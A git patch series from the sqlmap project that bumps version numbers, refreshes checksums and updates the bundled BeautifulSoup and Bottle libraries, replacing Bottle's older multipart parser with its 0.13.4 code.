888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a6673663e42347e5ecc83c68f86a191a0d0aee3a9e35b20d0b1c47e48708c6ec lib/core/settings.py +8834e2a5ce9aa56293ebbdc73e77f9a9cf051643f15b193afcd1ca69bb984e89 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -561,7 +561,7 @@ dcb7a5584390f1604adff075c94139dd23711f2f516b68683ec4208dd0a00fda tamper/version ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py -dfb8a36f58a3ae72c34d6a350830857c88ff8938fe256af585d5c9c63040c5b2 thirdparty/beautifulsoup/beautifulsoup.py +f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py 7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py 0915f7e3d0025f81a2883cd958813470a4be661744d7fffa46848b45506b951a thirdparty/bottle/bottle.py 9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2e422dd1c4a..066bfe52147 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.44" +VERSION = "1.10.1.45" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 7401def4117..849956bb0e2 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -126,7 +126,7 @@ def _match_css_class(str): """Build a RE to match the given CSS class.""" - return re.compile(r"(^|.*\s)%s($|\s)" % str) + return re.compile(r"(^|.*\s)%s($|\s)" % re.escape(str)) # First, the classes that represent markup elements. @@ -490,7 +490,7 @@ def __unicode__(self): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): # Substitute outgoing XML entities. data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self) - if encoding: + if encoding and sys.version_info < (3, 0): return data.encode(encoding) else: return data From 5224a3a496bdf4a7c60a91bef13551e530331021 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 Jan 2026 16:45:11 +0100 Subject: [PATCH 048/135] Update of Bottle version --- data/txt/sha256sums.txt | 6 +- doc/THIRD-PARTY.md | 2 +- lib/core/settings.py | 2 +- thirdparty/bottle/bottle.py | 900 +++++++++++++++--------------------- 4 files changed, 388 insertions(+), 522 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 18dd5804d98..22e3a0d7498 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -89,7 +89,7 @@ a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260 data/xml/queri abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md -5112f71069f35d4b3737791ca680f2815f0c42fdf5c9bedff7654dde8372327f doc/THIRD-PARTY.md +8235d0e15b9334a4395920cd6be696cc94afdb6e96ab171c60dba1bd10a88949 doc/THIRD-PARTY.md 25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8834e2a5ce9aa56293ebbdc73e77f9a9cf051643f15b193afcd1ca69bb984e89 lib/core/settings.py +16d96507edb5b7f71e27aeeed12ec9030a6ccf438046eb2719e65087dd5c474f lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -563,7 +563,7 @@ ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwar e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py 7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py -0915f7e3d0025f81a2883cd958813470a4be661744d7fffa46848b45506b951a thirdparty/bottle/bottle.py +f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py 9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py 0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py 901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index f2aea92a599..63c3bb98e6e 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -271,7 +271,7 @@ be bound by the terms and conditions of this License Agreement. # MIT * The `bottle` web framework library located under `thirdparty/bottle/`. - Copyright (C) 2018, Marcel Hellkamp. + Copyright (C) 2024, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. Copyright (C) 2019-2021, Miroslav Stampar. * The `ordereddict` library located under `thirdparty/odict/`. diff --git a/lib/core/settings.py b/lib/core/settings.py index 066bfe52147..fa4bbf2a92e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.45" +VERSION = "1.10.1.46" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index 9df46294b37..e0b3185d27d 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -1,5 +1,6 @@ #!/usr/bin/env python # -*- coding: utf-8 -*- +from __future__ import print_function """ Bottle is a fast and simple micro-framework for small web applications. It offers request dispatching (Routes) with URL parameter support, templates, @@ -9,15 +10,14 @@ Homepage and documentation: http://bottlepy.org/ -Copyright (c) 2009-2018, Marcel Hellkamp. +Copyright (c) 2009-2024, Marcel Hellkamp. License: MIT (see LICENSE for details) """ -from __future__ import print_function import sys __author__ = 'Marcel Hellkamp' -__version__ = '0.13-dev' +__version__ = '0.13.4' __license__ = 'MIT' ############################################################################### @@ -94,12 +94,13 @@ def _cli_patch(cli_args): # pragma: no coverage from urllib.parse import urlencode, quote as urlquote, unquote as urlunquote urlunquote = functools.partial(urlunquote, encoding='latin1') from http.cookies import SimpleCookie, Morsel, CookieError - from collections import defaultdict from collections.abc import MutableMapping as DictMixin from types import ModuleType as new_module import pickle from io import BytesIO import configparser + from datetime import timezone + UTC = timezone.utc # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 # getargspec was deprecated in 3.0 and removed in 3.11 from inspect import getfullargspec @@ -117,6 +118,7 @@ def getargspec(func): def _raise(*a): raise a[0](a[1]).with_traceback(a[2]) else: # 2.x + warnings.warn("Python 2 support will be dropped in Bottle 0.14", DeprecationWarning) import httplib import thread from urlparse import urljoin, SplitResult as UrlSplitResult @@ -127,11 +129,19 @@ def _raise(*a): from imp import new_module from StringIO import StringIO as BytesIO import ConfigParser as configparser - from collections import MutableMapping as DictMixin, defaultdict + from collections import MutableMapping as DictMixin from inspect import getargspec + from datetime import tzinfo + + class _UTC(tzinfo): + def utcoffset(self, dt): return timedelta(0) + def tzname(self, dt): return "UTC" + def dst(self, dt): return timedelta(0) + UTC = _UTC() unicode = unicode json_loads = json_lds + exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '', 'exec')) # Some helpers for string/byte handling @@ -168,13 +178,13 @@ def update_wrapper(wrapper, wrapped, *a, **ka): # And yes, I know PEP-8, but sometimes a lower-case classname makes more sense. -def depr(major, minor, cause, fix): +def depr(major, minor, cause, fix, stacklevel=3): text = "Warning: Use of deprecated feature or API. (Deprecated in Bottle-%d.%d)\n"\ "Cause: %s\n"\ "Fix: %s\n" % (major, minor, cause, fix) if DEBUG == 'strict': raise DeprecationWarning(text) - warnings.warn(text, DeprecationWarning, stacklevel=3) + warnings.warn(text, DeprecationWarning, stacklevel=stacklevel) return DeprecationWarning(text) @@ -340,7 +350,8 @@ def _itertokens(self, rule): g = match.groups() if g[2] is not None: depr(0, 13, "Use of old route syntax.", - "Use instead of :name in routes.") + "Use instead of :name in routes.", + stacklevel=4) if len(g[0]) % 2: # Escaped wildcard prefix += match.group(0)[len(g[0]):] offset = match.end() @@ -417,7 +428,7 @@ def getargs(path): if (flatpat, method) in self._groups: if DEBUG: msg = 'Route <%s %s> overwrites a previously defined route' - warnings.warn(msg % (method, rule), RuntimeWarning) + warnings.warn(msg % (method, rule), RuntimeWarning, stacklevel=3) self.dyna_routes[method][ self._groups[flatpat, method]] = whole_rule else: @@ -562,18 +573,17 @@ def get_undecorated_callback(self): """ Return the callback. If the callback is a decorated function, try to recover the original function. """ func = self.callback - func = getattr(func, '__func__' if py3k else 'im_func', func) - closure_attr = '__closure__' if py3k else 'func_closure' - while hasattr(func, closure_attr) and getattr(func, closure_attr): - attributes = getattr(func, closure_attr) - func = attributes[0].cell_contents - - # in case of decorators with multiple arguments - if not isinstance(func, FunctionType): - # pick first FunctionType instance from multiple arguments - func = filter(lambda x: isinstance(x, FunctionType), - map(lambda x: x.cell_contents, attributes)) - func = list(func)[0] # py3 support + while True: + if getattr(func, '__wrapped__', False): + func = func.__wrapped__ + elif getattr(func, '__func__', False): + func = func.__func__ + elif getattr(func, '__closure__', False): + cells_values = (cell.cell_contents for cell in func.__closure__) + isfunc = lambda x: isinstance(x, FunctionType) or hasattr(x, '__call__') + func = next(iter(filter(isfunc, cells_values)), func) + else: + break return func def get_callback_args(self): @@ -592,7 +602,9 @@ def get_config(self, key, default=None): def __repr__(self): cb = self.get_undecorated_callback() - return '<%s %s -> %s:%s>' % (self.method, self.rule, cb.__module__, cb.__name__) + return '<%s %s -> %s:%s>' % ( + self.method, self.rule, cb.__module__, getattr(cb, '__name__', '__call__') + ) ############################################################################### # Application Object ########################################################### @@ -1131,406 +1143,12 @@ def __exit__(self, exc_type, exc_value, traceback): def __setattr__(self, name, value): if name in self.__dict__: raise AttributeError("Attribute %s already defined. Plugin conflict?" % name) - self.__dict__[name] = value - + object.__setattr__(self, name, value) ############################################################################### # HTTP and WSGI Tools ########################################################## ############################################################################### -# Multipart parsing stuff - -class StopMarkupException(BottleException): - pass - - -HYPHEN = tob('-') -CR = tob('\r') -LF = tob('\n') -CRLF = CR + LF -LFCRLF = LF + CR + LF -HYPHENx2 = HYPHEN * 2 -CRLFx2 = CRLF * 2 -CRLF_LEN = len(CRLF) -CRLFx2_LEN = len(CRLFx2) - -MULTIPART_BOUNDARY_PATT = re.compile(r'^multipart/.+?boundary=(.+?)(;|$)') - -class MPHeadersEaeter: - end_headers_patt = re.compile(tob(r'(\r\n\r\n)|(\r(\n\r?)?)$')) - - def __init__(self): - self.headers_end_expected = None - self.eat_meth = self._eat_first_crlf_or_last_hyphens - self._meth_map = { - CR: self._eat_lf, - HYPHEN: self._eat_last_hyphen - } - self.stopped = False - - def eat(self, chunk, base): - pos = self.eat_meth(chunk, base) - if pos is None: return - if self.eat_meth != self._eat_headers: - if self.stopped: - raise StopMarkupException() - base = pos - self.eat_meth = self._eat_headers - return self.eat(chunk, base) - # found headers section end, reset eater - self.eat_meth = self._eat_first_crlf_or_last_hyphens - return pos - - def _eat_last_hyphen(self, chunk, base): - chunk_start = chunk[base: base + 2] - if not chunk_start: return - if chunk_start == HYPHEN: - self.stopped = True - return base + 1 - raise HTTPError(422, 'Last hyphen was expected, got (first 2 symbols slice): %s' % chunk_start) - - def _eat_lf(self, chunk, base): - chunk_start = chunk[base: base + 1] - if not chunk_start: return - if chunk_start == LF: return base + 1 - invalid_sequence = CR + chunk_start - raise HTTPError(422, 'Malformed headers, found invalid sequence: %s' % invalid_sequence) - - def _eat_first_crlf_or_last_hyphens(self, chunk, base): - chunk_start = chunk[base: base + 2] - if not chunk_start: return - if chunk_start == CRLF: return base + 2 - if len(chunk_start) == 1: - self.eat_meth = self._meth_map.get(chunk_start) - elif chunk_start == HYPHENx2: - self.stopped = True - return base + 2 - if self.eat_meth is None: - raise HTTPError(422, 'Malformed headers, invalid section start: %s' % chunk_start) - - def _eat_headers(self, chunk, base): - expected = self.headers_end_expected - if expected is not None: - expected_len = len(expected) - chunk_start = chunk[base:expected_len] - if chunk_start == expected: - self.headers_end_expected = None - return base + expected_len - CRLFx2_LEN - chunk_start_len = len(chunk_start) - if not chunk_start_len: return - if chunk_start_len < expected_len: - if expected.startswith(chunk_start): - self.headers_end_expected = expected[chunk_start_len:] - return - self.headers_end_expected = None - if expected == LF: # we saw CRLFCR - invalid_sequence = CR + chunk_start[0:1] - # NOTE we don not catch all CRLF-malformed errors, but only obvious ones - # to stop doing useless work - raise HTTPError(422, 'Malformed headers, found invalid sequence: %s' % invalid_sequence) - else: - assert expected_len >= 2 # (CR)LFCRLF or (CRLF)CRLF - self.headers_end_expected = None - assert self.headers_end_expected is None - s = self.end_headers_patt.search(chunk, base) - if s is None: return - end_found = s.start(1) - if end_found >= 0: return end_found - end_head = s.group(2) - if end_head is not None: - self.headers_end_expected = CRLFx2[len(end_head):] - - -class MPBodyMarkup: - def __init__(self, boundary): - self.markups = [] - self.error = None - if CR in boundary: - raise HTTPError(422, 'The `CR` must not be in the boundary: %s' % boundary) - boundary = HYPHENx2 + boundary - self.boundary = boundary - token = CRLF + boundary - self.tlen = len(token) - self.token = token - self.trest = self.trest_len = None - self.abspos = 0 - self.abs_start_section = 0 - self.headers_eater = MPHeadersEaeter() - self.cur_meth = self._eat_start_boundary - self._eat_headers = self.headers_eater.eat - self.stopped = False - self.idx = idx = defaultdict(list) # 1-based indices for each token symbol - for i, c in enumerate(token, start=1): - idx[c].append([i, token[:i]]) - - def _match_tail(self, s, start, end): - idxs = self.idx.get(s[end - 1]) - if idxs is None: return - slen = end - start - assert slen <= self.tlen - for i, thead in idxs: # idxs is 1-based index - search_pos = slen - i - if search_pos < 0: return - if s[start + search_pos:end] == thead: return i # if s_tail == token_head - - def _iter_markup(self, chunk): - if self.stopped: - raise StopMarkupException() - cur_meth = self.cur_meth - abs_start_section = self.abs_start_section - start_next_sec = 0 - skip_start = 0 - tlen = self.tlen - eat_data, eat_headers = self._eat_data, self._eat_headers - while True: - try: - end_section = cur_meth(chunk, start_next_sec) - except StopMarkupException: - self.stopped = True - return - if end_section is None: break - if cur_meth == eat_headers: - sec_name = 'headers' - start_next_sec = end_section + CRLFx2_LEN - cur_meth = eat_data - skip_start = 0 - elif cur_meth == eat_data: - sec_name = 'data' - start_next_sec = end_section + tlen - skip_start = CRLF_LEN - cur_meth = eat_headers - else: - assert cur_meth == self._eat_start_boundary - sec_name = 'data' - start_next_sec = end_section + tlen - skip_start = CRLF_LEN - cur_meth = eat_headers - - # if the body starts with a hyphen, - # we will have a negative abs_end_section equal to the length of the CRLF - abs_end_section = self.abspos + end_section - if abs_end_section < 0: - assert abs_end_section == -CRLF_LEN - end_section = -self.abspos - yield sec_name, (abs_start_section, self.abspos + end_section) - abs_start_section = self.abspos + start_next_sec + skip_start - self.abspos += len(chunk) - self.cur_meth = cur_meth - self.abs_start_section = abs_start_section - - def _eat_start_boundary(self, chunk, base): - if self.trest is None: - chunk_start = chunk[base: base + 1] - if not chunk_start: return - if chunk_start == CR: return self._eat_data(chunk, base) - boundary = self.boundary - if chunk.startswith(boundary): return base - CRLF_LEN - if chunk_start != boundary[:1]: - raise HTTPError( - 422, 'Invalid multipart/formdata body start, expected hyphen or CR, got: %s' % chunk_start) - self.trest = boundary - self.trest_len = len(boundary) - end_section = self._eat_data(chunk, base) - if end_section is not None: return end_section - - def _eat_data(self, chunk, base): - chunk_len = len(chunk) - token, tlen, trest, trest_len = self.token, self.tlen, self.trest, self.trest_len - start = base - match_tail = self._match_tail - part = None - while True: - end = start + tlen - if end > chunk_len: - part = chunk[start:] - break - if trest is not None: - if chunk[start:start + trest_len] == trest: - data_end = start + trest_len - tlen - self.trest_len = self.trest = None - return data_end - else: - trest_len = trest = None - matched_len = match_tail(chunk, start, end) - if matched_len is not None: - if matched_len == tlen: - self.trest_len = self.trest = None - return start - else: - trest_len, trest = tlen - matched_len, token[matched_len:] - start += tlen - # process the tail of the chunk - if part: - part_len = len(part) - if trest is not None: - if part_len < trest_len: - if trest.startswith(part): - trest_len -= part_len - trest = trest[part_len:] - part = None - else: - trest_len = trest = None - else: - if part.startswith(trest): - data_end = start + trest_len - tlen - self.trest_len = self.trest = None - return data_end - trest_len = trest = None - - if part is not None: - assert trest is None - matched_len = match_tail(part, 0, part_len) - if matched_len is not None: - trest_len, trest = tlen - matched_len, token[matched_len:] - self.trest_len, self.trest = trest_len, trest - - def _parse(self, chunk): - for name, start_end in self._iter_markup(chunk): - self.markups.append([name, start_end]) - - def parse(self, chunk): - if self.error is not None: return - try: - self._parse(chunk) - except Exception as exc: - self.error = exc - - -class MPBytesIOProxy: - def __init__(self, src, start, end): - self._src = src - self._st = start - self._end = end - self._pos = start - - def tell(self): - return self._pos - self._st - - def seek(self, pos): - if pos < 0: pos = 0 - self._pos = min(self._st + pos, self._end) - - def read(self, sz=None): - max_sz = self._end - self._pos - if max_sz <= 0: - return tob('') - if sz is not None and sz > 0: - sz = min(sz, max_sz) - else: - sz = max_sz - self._src.seek(self._pos) - self._pos += sz - return self._src.read(sz) - - def writable(self): - return False - - def fileno(self): - raise OSError('Not supported') - - def closed(self): - return self._src.closed() - - def close(self): - pass - - -class MPHeader: - def __init__(self, name, value, options): - self.name = name - self.value = value - self.options = options - - -class MPFieldStorage: - - _patt = re.compile(tonat('(.+?)(=(.+?))?(;|$)')) - - def __init__(self): - self.name = None - self.value = None - self.filename = None - self.file = None - self.ctype = None - self.headers = {} - - def read(self, src, headers_section, data_section, max_read): - start, end = headers_section - sz = end - start - has_read = sz - if has_read > max_read: - raise HTTPError(413, 'Request entity too large') - src.seek(start) - headers_raw = tonat(src.read(sz)) - for header_raw in headers_raw.splitlines(): - header = self.parse_header(header_raw) - self.headers[header.name] = header - if header.name == 'Content-Disposition': - self.name = header.options['name'] - self.filename = header.options.get('filename') - elif header.name == 'Content-Type': - self.ctype = header.value - if self.name is None: - raise HTTPError(422, 'Noname field found while parsing multipart/formdata body: %s' % header_raw) - if self.filename is not None: - self.file = MPBytesIOProxy(src, *data_section) - else: - start, end = data_section - sz = end - start - if sz: - has_read += sz - if has_read > max_read: - raise HTTPError(413, 'Request entity too large') - src.seek(start) - self.value = tonat(src.read(sz)) - else: - self.value = '' - return has_read - - @classmethod - def parse_header(cls, s): - htype, rest = s.split(':', 1) - opt_iter = cls._patt.finditer(rest) - hvalue = next(opt_iter).group(1).strip() - dct = {} - for it in opt_iter: - k = it.group(1).strip() - v = it.group(3) - if v is not None: - v = v.strip('"') - dct[k.lower()] = v - return MPHeader(name=htype, value=hvalue, options=dct) - - @classmethod - def iter_items(cls, src, markup, max_read): - iter_markup = iter(markup) - # check & skip empty data (body should start from empty data) - null_data = next(iter_markup, None) - if null_data is None: return - sec_name, [start, end] = null_data - assert sec_name == 'data' - if end > 0: - raise HTTPError( - 422, 'Malformed multipart/formdata, unexpected data before the first boundary at: [%d:%d]' - % (start, end)) - headers = next(iter_markup, None) - data = next(iter_markup, None) - while headers: - sec_name, headers_slice = headers - assert sec_name == 'headers' - if not data: - raise HTTPError( - 422, 'Malformed multipart/formdata, no data found for the field at: [%d:%d]' - % tuple(headers_slice)) - sec_name, data_slice = data - assert sec_name == 'data' - field = cls() - has_read = field.read(src, headers_slice, data_slice, max_read=max_read) - max_read -= has_read - yield field - headers = next(iter_markup, None) - data = next(iter_markup, None) - class BaseRequest(object): """ A wrapper for WSGI environment dictionaries that adds a lot of @@ -1720,10 +1338,6 @@ def _iter_chunked(read, bufsize): @DictProperty('environ', 'bottle.request.body', read_only=True) def _body(self): - mp_markup = None - mp_boundary_match = MULTIPART_BOUNDARY_PATT.match(self.environ.get('CONTENT_TYPE', '')) - if mp_boundary_match is not None: - mp_markup = MPBodyMarkup(tob(mp_boundary_match.group(1))) try: read_func = self.environ['wsgi.input'].read except KeyError: @@ -1733,15 +1347,12 @@ def _body(self): body, body_size, is_temp_file = BytesIO(), 0, False for part in body_iter(read_func, self.MEMFILE_MAX): body.write(part) - if mp_markup is not None: - mp_markup.parse(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: body, tmp = NamedTemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True - body.multipart_markup = mp_markup self.environ['wsgi.input'] = body body.seek(0) return body @@ -1779,31 +1390,35 @@ def chunked(self): def POST(self): """ The values of :attr:`forms` and :attr:`files` combined into a single :class:`FormsDict`. Values are either strings (form values) or - instances of :class:`MPBytesIOProxy` (file uploads). + instances of :class:`FileUpload`. """ post = FormsDict() + content_type = self.environ.get('CONTENT_TYPE', '') + content_type, options = _parse_http_header(content_type)[0] # We default to application/x-www-form-urlencoded for everything that # is not multipart and take the fast path (also: 3.1 workaround) - if not self.content_type.startswith('multipart/'): + if not content_type.startswith('multipart/'): body = tonat(self._get_body_string(self.MEMFILE_MAX), 'latin1') for key, value in _parse_qsl(body): post[key] = value return post - if py3k: - post.recode_unicode = False - body = self.body - markup = body.multipart_markup - if markup is None: - raise HTTPError(400, '`boundary` required for mutlipart content') - elif markup.error is not None: - raise markup.error - for item in MPFieldStorage.iter_items(body, markup.markups, self.MEMFILE_MAX): - if item.filename is None: - post[item.name] = item.value + post.recode_unicode = False + charset = options.get("charset", "utf8") + boundary = options.get("boundary") + if not boundary: + raise MultipartError("Invalid content type header, missing boundary") + parser = _MultipartParser(self.body, boundary, self.content_length, + mem_limit=self.MEMFILE_MAX, memfile_limit=self.MEMFILE_MAX, + charset=charset) + + for part in parser.parse(): + if not part.filename and part.is_buffered(): + post[part.name] = tonat(part.value, 'utf8') else: - post[item.name] = FileUpload(item.file, item.name, - item.filename, item.headers) + post[part.name] = FileUpload(part.file, part.name, + part.filename, part.headerlist) + return post @property @@ -1974,6 +1589,7 @@ def __getattr__(self, name): raise AttributeError('Attribute %r not defined.' % name) def __setattr__(self, name, value): + """ Define new attributes that are local to the bound request environment. """ if name == 'environ': return object.__setattr__(self, name, value) key = 'bottle.request.ext.%s' % name if hasattr(self, name): @@ -2024,14 +1640,6 @@ class BaseResponse(object): This class does support dict-like case-insensitive item-access to headers, but is NOT a dict. Most notably, iterating over a response yields parts of the body and not the headers. - - :param body: The response body as one of the supported types. - :param status: Either an HTTP status code (e.g. 200) or a status line - including the reason phrase (e.g. '200 OK'). - :param headers: A dictionary or a list of name-value pairs. - - Additional keyword arguments are added to the list of headers. - Underscores in the header name are replaced with dashes. """ default_status = 200 @@ -2047,6 +1655,16 @@ class BaseResponse(object): } def __init__(self, body='', status=None, headers=None, **more_headers): + """ Create a new response object. + + :param body: The response body as one of the supported types. + :param status: Either an HTTP status code (e.g. 200) or a status line + including the reason phrase (e.g. '200 OK'). + :param headers: A dictionary or a list of name-value pairs. + + Additional keyword arguments are added to the list of headers. + Underscores in the header name are replaced with dashes. + """ self._cookies = None self._headers = {} self.body = body @@ -2185,7 +1803,7 @@ def headerlist(self): content_length = HeaderProperty('Content-Length', reader=int, default=-1) expires = HeaderProperty( 'Expires', - reader=lambda x: datetime.utcfromtimestamp(parse_date(x)), + reader=lambda x: datetime.fromtimestamp(parse_date(x), UTC), writer=lambda x: http_date(x)) @property @@ -2337,10 +1955,18 @@ class LocalResponse(BaseResponse): class HTTPResponse(Response, BottleException): + """ A subclass of :class:`Response` that can be raised or returned from request + handlers to short-curcuit request processing and override changes made to the + global :data:`request` object. This bypasses error handlers, even if the status + code indicates an error. Return or raise :class:`HTTPError` to trigger error + handlers. + """ + def __init__(self, body='', status=None, headers=None, **more_headers): super(HTTPResponse, self).__init__(body, status, headers, **more_headers) def apply(self, other): + """ Copy the state of this response to a different :class:`Response` object. """ other._status_code = self._status_code other._status_line = self._status_line other._headers = self._headers @@ -2349,6 +1975,8 @@ def apply(self, other): class HTTPError(HTTPResponse): + """ A subclass of :class:`HTTPResponse` that triggers error handlers. """ + default_status = 500 def __init__(self, @@ -2460,6 +2088,12 @@ def find_module(self, fullname, path=None): if fullname.rsplit('.', 1)[0] != self.name: return return self + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass # This probably breaks importlib.reload() :/ + def load_module(self, fullname): if fullname in sys.modules: return sys.modules[fullname] modname = fullname.rsplit('.', 1)[1] @@ -2725,10 +2359,10 @@ def __contains__(self, key): class ConfigDict(dict): """ A dict-like configuration storage with additional support for - namespaces, validators, meta-data, overlays and more. + namespaces, validators, meta-data and overlays. - This dict-like class is heavily optimized for read access. All read-only - methods as well as item access should be as fast as the built-in dict. + This dict-like class is heavily optimized for read access. + Read-only methods and item access should be as fast as a native dict. """ __slots__ = ('_meta', '_change_listener', '_overlays', '_virtual_keys', '_source', '__weakref__') @@ -2743,29 +2377,19 @@ def __init__(self): #: Keys of values copied from the source (values we do not own) self._virtual_keys = set() - def load_module(self, path, squash=True): + def load_module(self, name, squash=True): """Load values from a Python module. - Example modue ``config.py``:: + Import a python module by name and add all upper-case module-level + variables to this config dict. - DEBUG = True - SQLITE = { - "db": ":memory:" - } - - - >>> c = ConfigDict() - >>> c.load_module('config') - {DEBUG: True, 'SQLITE.DB': 'memory'} - >>> c.load_module("config", False) - {'DEBUG': True, 'SQLITE': {'DB': 'memory'}} - - :param squash: If true (default), dictionary values are assumed to - represent namespaces (see :meth:`load_dict`). + :param name: Module name to import and load. + :param squash: If true (default), nested dicts are assumed to + represent namespaces and flattened (see :meth:`load_dict`). """ - config_obj = load(path) - obj = {key: getattr(config_obj, key) for key in dir(config_obj) - if key.isupper()} + config_obj = load(name) + obj = {key: getattr(config_obj, key) + for key in dir(config_obj) if key.isupper()} if squash: self.load_dict(obj) @@ -2774,28 +2398,15 @@ def load_module(self, path, squash=True): return self def load_config(self, filename, **options): - """ Load values from an ``*.ini`` style config file. - - A configuration file consists of sections, each led by a - ``[section]`` header, followed by key/value entries separated by - either ``=`` or ``:``. Section names and keys are case-insensitive. - Leading and trailing whitespace is removed from keys and values. - Values can be omitted, in which case the key/value delimiter may - also be left out. Values can also span multiple lines, as long as - they are indented deeper than the first line of the value. Commands - are prefixed by ``#`` or ``;`` and may only appear on their own on - an otherwise empty line. - - Both section and key names may contain dots (``.``) as namespace - separators. The actual configuration parameter name is constructed - by joining section name and key name together and converting to - lower case. - - The special sections ``bottle`` and ``ROOT`` refer to the root - namespace and the ``DEFAULT`` section defines default values for all - other sections. + """ Load values from ``*.ini`` style config files using configparser. + + INI style sections (e.g. ``[section]``) are used as namespace for + all keys within that section. Both section and key names may contain + dots as namespace separators and are converted to lower-case. - With Python 3, extended string interpolation is enabled. + The special sections ``[bottle]`` and ``[ROOT]`` refer to the root + namespace and the ``[DEFAULT]`` section defines default values for all + other sections. :param filename: The path of a config file, or a list of paths. :param options: All keyword parameters are passed to the underlying @@ -2849,7 +2460,7 @@ def update(self, *a, **ka): for key, value in dict(*a, **ka).items(): self[prefix + key] = value - def setdefault(self, key, value): + def setdefault(self, key, value=None): if key not in self: self[key] = value return self[key] @@ -2887,8 +2498,7 @@ def __delitem__(self, key): 